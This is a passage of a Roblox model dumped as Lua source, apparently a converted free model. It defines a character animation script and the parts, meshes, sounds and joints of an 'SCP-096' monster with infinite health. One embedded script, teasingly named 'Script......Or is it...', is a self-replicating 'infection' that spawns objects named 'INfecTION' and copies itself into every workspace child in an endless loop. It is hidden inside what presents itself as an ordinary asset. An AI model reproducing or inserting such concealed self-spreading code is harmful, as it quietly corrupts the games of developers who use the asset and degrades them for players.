- toolAnimName = animName
- currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
- end
- end
- function stopToolAnimations()
- local oldAnim = toolAnimName
- if (currentToolAnimKeyframeHandler ~= nil) then
- currentToolAnimKeyframeHandler:disconnect()
- end
- toolAnimName = ""
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- toolAnimTrack = nil
- end
- return oldAnim
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- function onRunning(speed)
- if speed>0.01 then
- playAnimation("walk", 0.1, Humanoid)
- pose = "Running"
- else
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- playAnimation("jump", 0.1, Humanoid)
- jumpAnimTime = jumpAnimDuration
- pose = "Jumping"
- end
- function onClimbing(speed)
- playAnimation("climb", 0.1, Humanoid)
- setAnimationSpeed(speed / 12.0)
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- if (jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- end
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- function onSwimming(speed)
- if speed>0 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function getTool()
- for _, kid in ipairs(Figure:GetChildren()) do
- if kid.className == "Tool" then return kid end
- end
- return nil
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- function animateTool()
- if (toolAnim == "None") then
- playToolAnimation("toolnone", toolTransitionTime, Humanoid)
- return
- end
- if (toolAnim == "Slash") then
- playToolAnimation("toolslash", 0, Humanoid)
- return
- end
- if (toolAnim == "Lunge") then
- playToolAnimation("toollunge", 0, Humanoid)
- return
- end
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder:SetDesiredAngle(3.14 /2)
- LeftShoulder:SetDesiredAngle(-3.14 /2)
- RightHip:SetDesiredAngle(3.14 /2)
- LeftHip:SetDesiredAngle(-3.14 /2)
- end
- local lastTick = 0
- function move(time)
- local amplitude = 1
- local frequency = 1
- local deltaTime = time - lastTick
- lastTick = time
- local climbFudge = 0
- local setAngles = false
- if (jumpAnimTime > 0) then
- jumpAnimTime = jumpAnimTime - deltaTime
- end
- if (pose == "FreeFall" and jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- elseif (pose == "Seated") then
- stopAllAnimations()
- moveSit()
- return
- elseif (pose == "Running") then
- playAnimation("walk", 0.1, Humanoid)
- elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
- -- print("Wha " .. pose)
- amplitude = 0.1
- frequency = 1
- setAngles = true
- end
- if (setAngles) then
- desiredAngle = amplitude * math.sin(time * frequency)
- RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
- LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
- RightHip:SetDesiredAngle(-desiredAngle)
- LeftHip:SetDesiredAngle(-desiredAngle)
- end
- -- Tool Animation handling
- local tool = getTool()
- if tool then
- animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- -- message recieved, delete StringValue
- animStringValueObject.Parent = nil
- toolAnimTime = time + .3
- end
- if time > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- stopToolAnimations()
- toolAnim = "None"
- toolAnimTime = 0
- end
- end
- -- connect events
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- Humanoid.Swimming:connect(onSwimming)
- -- setup emote chat hook
- -- main program
- local runService = game:service("RunService");
- -- initialize to idle
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- while Figure.Parent~=nil do
- local _, time = wait(0.1)
- move(time)
- end
- end))
- StringValue109.Name = "climb"
- StringValue109.Parent = Script108
- Animation110.Name = "ClimbAnim"
- Animation110.Parent = StringValue109
- Animation110.AnimationId = "http://www.roblox.com/asset/?id=125750800"
- StringValue111.Name = "fall"
- StringValue111.Parent = Script108
- Animation112.Name = "FallAnim"
- Animation112.Parent = StringValue111
- Animation112.AnimationId = "http://www.roblox.com/asset/?id=125750759"
- StringValue113.Name = "idle"
- StringValue113.Parent = Script108
- Animation114.Name = "Animation1"
- Animation114.Parent = StringValue113
- Animation114.AnimationId = "http://www.roblox.com/asset/?id=125750544"
- NumberValue115.Name = "Weight"
- NumberValue115.Parent = Animation114
- NumberValue115.Value = 9
- Animation116.Name = "Animation2"
- Animation116.Parent = StringValue113
- Animation116.AnimationId = "http://www.roblox.com/asset/?id=125750618"
- NumberValue117.Name = "Weight"
- NumberValue117.Parent = Animation116
- NumberValue117.Value = 1
- StringValue118.Name = "jump"
- StringValue118.Parent = Script108
- Animation119.Name = "JumpAnim"
- Animation119.Parent = StringValue118
- Animation119.AnimationId = "http://www.roblox.com/asset/?id=125750702"
- StringValue120.Name = "run"
- StringValue120.Parent = Script108
- Animation121.Name = "RunAnim"
- Animation121.Parent = StringValue120
- Animation121.AnimationId = "rbxassetid://510059034"
- StringValue122.Name = "toolnone"
- StringValue122.Parent = Script108
- Animation123.Name = "ToolNoneAnim"
- Animation123.Parent = StringValue122
- Animation123.AnimationId = "http://www.roblox.com/asset/?id=125750867"
- StringValue124.Name = "walk"
- StringValue124.Parent = Script108
- Animation125.Name = "WalkAnim"
- Animation125.Parent = StringValue124
- Animation125.AnimationId = "http://www.roblox.com/asset/?id=125749145"
- Script126.Name = "Script......Or is it..."
- Script126.Parent = mas
- table.insert(cors,sandbox(Script126,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- BodyColors127.Parent = Model62
- BodyColors127.HeadColor = BrickColor.new("Institutional white")
- BodyColors127.LeftArmColor = BrickColor.new("Institutional white")
- BodyColors127.LeftLegColor = BrickColor.new("Institutional white")
- BodyColors127.RightArmColor = BrickColor.new("Institutional white")
- BodyColors127.RightLegColor = BrickColor.new("Institutional white")
- BodyColors127.TorsoColor = BrickColor.new("Institutional white")
- CharacterMesh128.Name = "SCP-096 Left Arm"
- CharacterMesh128.Parent = Model62
- CharacterMesh128.MeshId = 75390829
- CharacterMesh128.BaseTextureId = 255692783
- CharacterMesh128.BodyPart = Enum.BodyPart.LeftArm
- CharacterMesh128.OverlayTextureId = 255692783
- CharacterMesh129.Name = "SCP-096 Left Leg"
- CharacterMesh129.Parent = Model62
- CharacterMesh129.MeshId = 32328520
- CharacterMesh129.BaseTextureId = 255692783
- CharacterMesh129.BodyPart = Enum.BodyPart.LeftLeg
- CharacterMesh129.OverlayTextureId = 255692783
- CharacterMesh130.Name = "SCP-096 Right Arm"
- CharacterMesh130.Parent = Model62
- CharacterMesh130.MeshId = 75390843
- CharacterMesh130.BaseTextureId = 255692783
- CharacterMesh130.BodyPart = Enum.BodyPart.RightArm
- CharacterMesh130.OverlayTextureId = 255692783
- CharacterMesh131.Name = "SCP-096 Right Leg"
- CharacterMesh131.Parent = Model62
- CharacterMesh131.MeshId = 32328627
- CharacterMesh131.BaseTextureId = 255692783
- CharacterMesh131.BodyPart = Enum.BodyPart.RightLeg
- CharacterMesh131.OverlayTextureId = 255692783
- CharacterMesh132.Name = "SCP-096 Torso"
- CharacterMesh132.Parent = Model62
- CharacterMesh132.MeshId = 27493004
- CharacterMesh132.BaseTextureId = 255693950
- CharacterMesh132.BodyPart = Enum.BodyPart.Torso
- CharacterMesh132.OverlayTextureId = 255693950
- Model133.Name = "SCP-096"
- Model133.Parent = mas
- Model133.PrimaryPart = Part149
- Part134.Name = "Left Arm"
- Part134.Parent = Model133
- Part134.Material = Enum.Material.SmoothPlastic
- Part134.BrickColor = BrickColor.new("Institutional white")
- Part134.CanCollide = false
- Part134.Elasticity = 0
- Part134.FormFactor = Enum.FormFactor.Symmetric
- Part134.Friction = 2
- Part134.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
- Part134.CFrame = CFrame.new(49.9853325, 4.20737314, -91.022995, 0.999991536, 9.59255342e-28, -4.37114238e-08, -1.46411871e-27, 0.999995768, -6.68887362e-28, 4.37120065e-08, 1.02092776e-27, 1)
- Part134.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part134.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part134.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part134.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part134.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part134.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part134.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part134.Position = Vector3.new(49.9853325, 4.20737314, -91.022995)
- Part134.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part135.Name = "Left Leg"
- Part135.Parent = Model133
- Part135.Material = Enum.Material.SmoothPlastic
- Part135.BrickColor = BrickColor.new("Institutional white")
- Part135.CanCollide = false
- Part135.Elasticity = 0
- Part135.FormFactor = Enum.FormFactor.Symmetric
- Part135.Friction = 2
- Part135.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
- Part135.CFrame = CFrame.new(50.6702461, 1.95693445, -91.022995, 0.999991536, 9.59255342e-28, 4.37106138e-08, -1.46411871e-27, 0.999995768, -6.68887459e-28, -4.37107701e-08, 1.02092776e-27, 1)
- Part135.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part135.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part135.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part135.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part135.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part135.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part135.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part135.Position = Vector3.new(50.6702461, 1.95693445, -91.022995)
- Part135.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part136.Name = "Torso"
- Part136.Parent = Model133
- Part136.Material = Enum.Material.SmoothPlastic
- Part136.BrickColor = BrickColor.new("Institutional white")
- Part136.Elasticity = 0
- Part136.FormFactor = Enum.FormFactor.Symmetric
- Part136.Friction = 2
- Part136.Size = Vector3.new(1.95691216, 1.95691133, 0.97845608)
- Part136.CFrame = CFrame.new(51.1594696, 4.89228916, -91.022995, 0.999991536, 9.59255439e-28, -4.0501272e-13, -1.46411871e-27, 0.999995828, -6.6888741e-28, 6.181705e-13, 1.02092786e-27, 1)
- Part136.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part136.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part136.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part136.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part136.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part136.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part136.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part136.Position = Vector3.new(51.1594696, 4.89228916, -91.022995)
- Part136.Color = Color3.new(0.972549, 0.972549, 0.972549)
- BodyGyro137.Parent = Part136
- BodyGyro137.P = 10000
- PointLight138.Parent = Part136
- PointLight138.Color = Color3.new(1, 0, 0)
- PointLight138.Brightness = 5.0000000692421e+23
- PointLight138.Color = Color3.new(1, 0, 0)
- PointLight139.Parent = Part136
- PointLight139.Color = Color3.new(1, 0, 0)
- PointLight139.Brightness = 5.0000000692421e+23
- PointLight139.Color = Color3.new(1, 0, 0)
- PointLight140.Parent = Part136
- PointLight140.Color = Color3.new(1, 0, 0)
- PointLight140.Brightness = 5.0000000692421e+23
- PointLight140.Color = Color3.new(1, 0, 0)
- PointLight141.Parent = Part136
- PointLight141.Color = Color3.new(1, 0, 0)
- PointLight141.Brightness = 5.0000000692421e+23
- PointLight141.Color = Color3.new(1, 0, 0)
- PointLight142.Parent = Part136
- PointLight142.Color = Color3.new(1, 0, 0)
- PointLight142.Brightness = 5.0000000692421e+23
- PointLight142.Color = Color3.new(1, 0, 0)
- Motor6D143.Name = "Neck"
- Motor6D143.Parent = Part136
- Motor6D143.C0 = CFrame.new(0, 0.978455663, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D143.C1 = CFrame.new(0, -0.489227831, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D143.Part0 = Part136
- Motor6D143.Part1 = Part149
- Motor6D144.Name = "Left Shoulder"
- Motor6D144.Parent = Part136
- Motor6D144.C0 = CFrame.new(1.66337526, 1.17414677, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Motor6D144.C1 = CFrame.new(0.48922804, 0.489227831, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
- Motor6D144.Part0 = Part134
- Motor6D144.Part1 = Part136
- Motor6D145.Name = "Right Shoulder"
- Motor6D145.Parent = Part136
- Motor6D145.C0 = CFrame.new(-1.66337526, 1.17414677, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Motor6D145.C1 = CFrame.new(-0.48922804, 0.489227831, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
- Motor6D145.Part0 = Part159
- Motor6D145.Part1 = Part136
- Motor6D146.Name = "Left Hip"
- Motor6D146.Parent = Part136
- Motor6D146.C0 = CFrame.new(-0.48922804, -1.95691133, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Motor6D146.C1 = CFrame.new(0, 0.978455663, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
- Motor6D146.Part0 = Part136
- Motor6D146.Part1 = Part135
- Motor6D147.Name = "Right Hip"
- Motor6D147.Parent = Part136
- Motor6D147.C0 = CFrame.new(0.48922804, -1.95691133, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Motor6D147.C1 = CFrame.new(0, 0.978455663, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
- Motor6D147.Part0 = Part136
- Motor6D147.Part1 = Part148
- Part148.Name = "Right Leg"
- Part148.Parent = Model133
- Part148.Material = Enum.Material.SmoothPlastic
- Part148.BrickColor = BrickColor.new("Institutional white")
- Part148.CanCollide = false
- Part148.Elasticity = 0
- Part148.FormFactor = Enum.FormFactor.Symmetric
- Part148.Friction = 2
- Part148.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
- Part148.CFrame = CFrame.new(51.6486931, 1.95693445, -91.022995, 0.999991536, 9.59255342e-28, -4.37114238e-08, -1.46411871e-27, 0.999995768, -6.68887362e-28, 4.37120065e-08, 1.02092776e-27, 1)
- Part148.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part148.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part148.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part148.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part148.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part148.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part148.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part148.Position = Vector3.new(51.6486931, 1.95693445, -91.022995)
- Part148.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part149.Name = "Head"
- Part149.Parent = Model133
- Part149.Material = Enum.Material.SmoothPlastic
- Part149.BrickColor = BrickColor.new("Institutional white")
- Part149.Elasticity = 0
- Part149.FormFactor = Enum.FormFactor.Symmetric
- Part149.Friction = 2
- Part149.Size = Vector3.new(1.95691216, 0.978455663, 0.97845608)
- Part149.CFrame = CFrame.new(51.1594696, 6.35996675, -91.022995, 0.999991417, 9.59255439e-28, -4.0501272e-13, -1.46411852e-27, 0.999995828, -6.6888741e-28, 6.18170445e-13, 1.02092786e-27, 1)
- Part149.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part149.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part149.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part149.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part149.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part149.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part149.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part149.Position = Vector3.new(51.1594696, 6.35996675, -91.022995)
- Part149.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Sound150.Name = "Damage5"
- Sound150.Parent = Part149
- Sound150.SoundId = "rbxassetid://256509968"
- Sound150.Volume = 1
- Sound151.Name = "Idle"
- Sound151.Parent = Part149
- Sound151.SoundId = "rbxassetid://893111990"
- Sound151.Volume = 1
- Sound151.Looped = true
- Sound152.Name = "Scream"
- Sound152.Parent = Part149
- Sound152.SoundId = "rbxassetid://254933782"
- Sound152.Volume = 1
- Sound152.Looped = true
- Sound153.Name = "Panic"
- Sound153.Parent = Part149
- Sound153.SoundId = "rbxassetid://325080827"
- Sound153.Volume = 1
- SpecialMesh154.Parent = Part149
- SpecialMesh154.MeshId = "http://www.roblox.com/asset/?id=36869983"
- SpecialMesh154.Scale = Vector3.new(0.5, 0.5, 0.5)
- SpecialMesh154.MeshType = Enum.MeshType.FileMesh
- SpecialMesh154.Scale = Vector3.new(0.5, 0.5, 0.5)
- SpecialMesh155.Name = "HeadMesh"
- SpecialMesh155.Parent = Part149
- SpecialMesh155.MeshId = "rbxassetid://36869983"
- SpecialMesh155.TextureId = "rbxassetid://367967552"
- SpecialMesh155.MeshType = Enum.MeshType.FileMesh
- Weld156.Name = "HeadWeld"
- Weld156.Parent = Part149
- Weld156.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld156.C1 = CFrame.new(-0.200000003, -0.419999987, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
- Weld156.Part0 = Part149
- Weld156.Part1 = Part162
- Weld157.Name = "HeadWeld"
- Weld157.Parent = Part149
- Weld157.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld157.C1 = CFrame.new(0.200000003, -0.449999988, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
- Weld157.Part0 = Part149
- Weld157.Part1 = Part165
- Weld158.Name = "HeadWeld"
- Weld158.Parent = Part149
- Weld158.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld158.C1 = CFrame.new(0, 0.5, 1.29999995, -1, 0, 0, 0, -0.000999999582, 0.999999523, 0, 0.999999523, 0.000999999582)
- Weld158.Part0 = Part149
- Weld158.Part1 = Part168
- Part159.Name = "Right Arm"
- Part159.Parent = Model133
- Part159.Material = Enum.Material.SmoothPlastic
- Part159.BrickColor = BrickColor.new("Institutional white")
- Part159.CanCollide = false
- Part159.Elasticity = 0
- Part159.FormFactor = Enum.FormFactor.Symmetric
- Part159.Friction = 2
- Part159.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
- Part159.CFrame = CFrame.new(52.3336067, 4.20737314, -91.022995, 0.999991536, 9.59255342e-28, 4.37106138e-08, -1.46411871e-27, 0.999995768, -6.68887459e-28, -4.37107701e-08, 1.02092776e-27, 1)
- Part159.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part159.Position = Vector3.new(52.3336067, 4.20737314, -91.022995)
- Part159.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Humanoid160.Name = "SCP"
- Humanoid160.Parent = Model133
- Humanoid160.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
- Humanoid160.HealthDisplayDistance = 0
- Humanoid160.NameDisplayDistance = 0
- Humanoid160.NameOcclusion = Enum.NameOcclusion.EnemyOcclusion
- Humanoid160.RightLeg = Part148
- Humanoid160.LeftLeg = Part135
- Humanoid160.Torso = Part175
- Humanoid160.Health = inf
- Humanoid160.MaxHealth = inf
- Humanoid160.WalkSpeed = 10
- Hat161.Name = "Eye"
- Hat161.Parent = Model133
- Hat161.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
- Hat161.AttachmentPos = Vector3.new(-0.200000003, -0.419999987, 0.300000012)
- Hat161.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
- Part162.Name = "Handle"
- Part162.Parent = Hat161
- Part162.Material = Enum.Material.Neon
- Part162.BrickColor = BrickColor.new("Really red")
- Part162.Rotation = Vector3.new(-89.9399948, 0, 0)
- Part162.CanCollide = false
- Part162.Elasticity = 0
- Part162.FormFactor = Enum.FormFactor.Custom
- Part162.Friction = 2
- Part162.Size = Vector3.new(0.869068086, 0.868596196, 0.86859858)
- Part162.CFrame = CFrame.new(51.3594666, 6.56038666, -91.4432983, 0.999991417, 4.05012531e-13, -4.05417947e-16, -1.46411852e-27, 0.00100099633, 0.999995351, 6.18170445e-13, -0.999999523, 0.00100100052)
- Part162.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part162.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part162.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part162.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part162.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part162.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part162.Color = Color3.new(1, 0, 0)
- Part162.Position = Vector3.new(51.3594666, 6.56038666, -91.4432983)
- Part162.Orientation = Vector3.new(-89.8299942, 0, 0)
- Part162.Color = Color3.new(1, 0, 0)
- SpecialMesh163.Parent = Part162
- SpecialMesh163.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
- SpecialMesh163.MeshType = Enum.MeshType.Sphere
- SpecialMesh163.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
- Hat164.Name = "Eye"
- Hat164.Parent = Model133
- Hat164.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
- Hat164.AttachmentPos = Vector3.new(0.200000003, -0.449999988, 0.300000012)
- Hat164.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
- Part165.Name = "Handle"
- Part165.Parent = Hat164
- Part165.Material = Enum.Material.Neon
- Part165.BrickColor = BrickColor.new("Really red")
- Part165.Rotation = Vector3.new(-89.9399948, 0, 0)
- Part165.CanCollide = false
- Part165.Elasticity = 0
- Part165.FormFactor = Enum.FormFactor.Custom
- Part165.Friction = 2
- Part165.Size = Vector3.new(0.961965919, 0.961494088, 0.961496592)
- Part165.CFrame = CFrame.new(50.9594727, 6.5604167, -91.4732971, 0.999991417, 4.05012531e-13, -4.05417947e-16, -1.46411852e-27, 0.00100099633, 0.999995351, 6.18170445e-13, -0.999999523, 0.00100100052)
- Part165.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.Color = Color3.new(1, 0, 0)
- Part165.Position = Vector3.new(50.9594727, 6.5604167, -91.4732971)
- Part165.Orientation = Vector3.new(-89.8299942, 0, 0)
- Part165.Color = Color3.new(1, 0, 0)
- SpecialMesh166.Parent = Part165
- SpecialMesh166.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
- SpecialMesh166.MeshType = Enum.MeshType.Sphere
- SpecialMesh166.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
- Hat167.Name = "Mouth"
- Hat167.Parent = Model133
- Hat167.AttachmentForward = Vector3.new(-0, -0.999999523, -0.000999999582)
- Hat167.AttachmentPos = Vector3.new(0, 0.5, 1.29999995)
- Hat167.AttachmentRight = Vector3.new(-1, 0, 0)
- Hat167.AttachmentUp = Vector3.new(0, -0.000999999582, 0.999999523)
- Part168.Name = "Handle"
- Part168.Parent = Hat167
- Part168.Material = Enum.Material.SmoothPlastic
- Part168.BrickColor = BrickColor.new("Really red")
- Part168.Rotation = Vector3.new(-89.9399948, 0, 180)
- Part168.CanCollide = false
- Part168.Elasticity = 0
- Part168.FormFactor = Enum.FormFactor.Custom
- Part168.Friction = 2
- Part168.Size = Vector3.new(1.00906014, 0.639891207, 2.17809296)
- Part168.CFrame = CFrame.new(51.1594696, 5.56047058, -91.524292, -0.999991417, -4.05012531e-13, -4.05012562e-16, 1.46411852e-27, -0.000999995391, 0.999995351, -6.18170445e-13, 0.999999523, 0.000999999582)
- Part168.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part168.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part168.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part168.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part168.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part168.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part168.Color = Color3.new(1, 0, 0)
- Part168.Position = Vector3.new(51.1594696, 5.56047058, -91.524292)
- Part168.Orientation = Vector3.new(-89.8299942, 0, 180)
- Part168.Color = Color3.new(1, 0, 0)
- SpecialMesh169.Parent = Part168
- SpecialMesh169.Scale = Vector3.new(0.899999976, 1, 1)
- SpecialMesh169.MeshType = Enum.MeshType.Sphere
- SpecialMesh169.Scale = Vector3.new(0.899999976, 1, 1)
- Decal170.Parent = Part168
- Decal170.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal170.Face = Enum.NormalId.Right
- Decal171.Parent = Part168
- Decal171.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal171.Face = Enum.NormalId.Left
- Decal172.Name = "MouthTex"
- Decal172.Parent = Part168
- Decal172.Texture = "http://www.roblox.com/asset/?id=270409456"
- Decal172.Face = Enum.NormalId.Bottom
- Decal173.Parent = Part168
- Decal173.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal174.Parent = Part168
- Decal174.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal174.Face = Enum.NormalId.Back
- Part175.Name = "HumanoidRootPart"
- Part175.Parent = Model133
- Part175.Material = Enum.Material.SmoothPlastic
- Part175.BrickColor = BrickColor.new("Really red")
- Part175.Transparency = 1
- Part175.CanCollide = false
- Part175.Elasticity = 0
- Part175.FormFactor = Enum.FormFactor.Symmetric
- Part175.Friction = 2
- Part175.Size = Vector3.new(1.95691216, 1.95691133, 0.97845608)
- Part175.CFrame = CFrame.new(51.1594696, 4.89228916, -91.022995, 0.999991655, 9.59255439e-28, -4.0501272e-13, -1.46411891e-27, 0.999995828, -6.6888741e-28, 6.18170554e-13, 1.02092786e-27, 1)
- Part175.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part175.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part175.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part175.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part175.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part175.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part175.Color = Color3.new(1, 0, 0)
- Part175.Position = Vector3.new(51.1594696, 4.89228916, -91.022995)
- Part175.Color = Color3.new(1, 0, 0)
- Motor6D176.Name = "RootJoint"
- Motor6D176.Parent = Part175
- Motor6D176.C0 = CFrame.new(0, 0, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D176.C1 = CFrame.new(0, 0, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D176.Part0 = Part175
- Motor6D176.Part1 = Part136
- Script177.Name = "MainAnimation"
- Script177.Parent = Model133
- table.insert(cors,sandbox(Script177,function()
- --[[ By: Brutez. ]]--
- local FreeSCP096AnimationScript=script;
- local FreeSCP096=FreeSCP096AnimationScript.Parent
- local FreeSCP096Humanoid=nil;
- local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
- local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
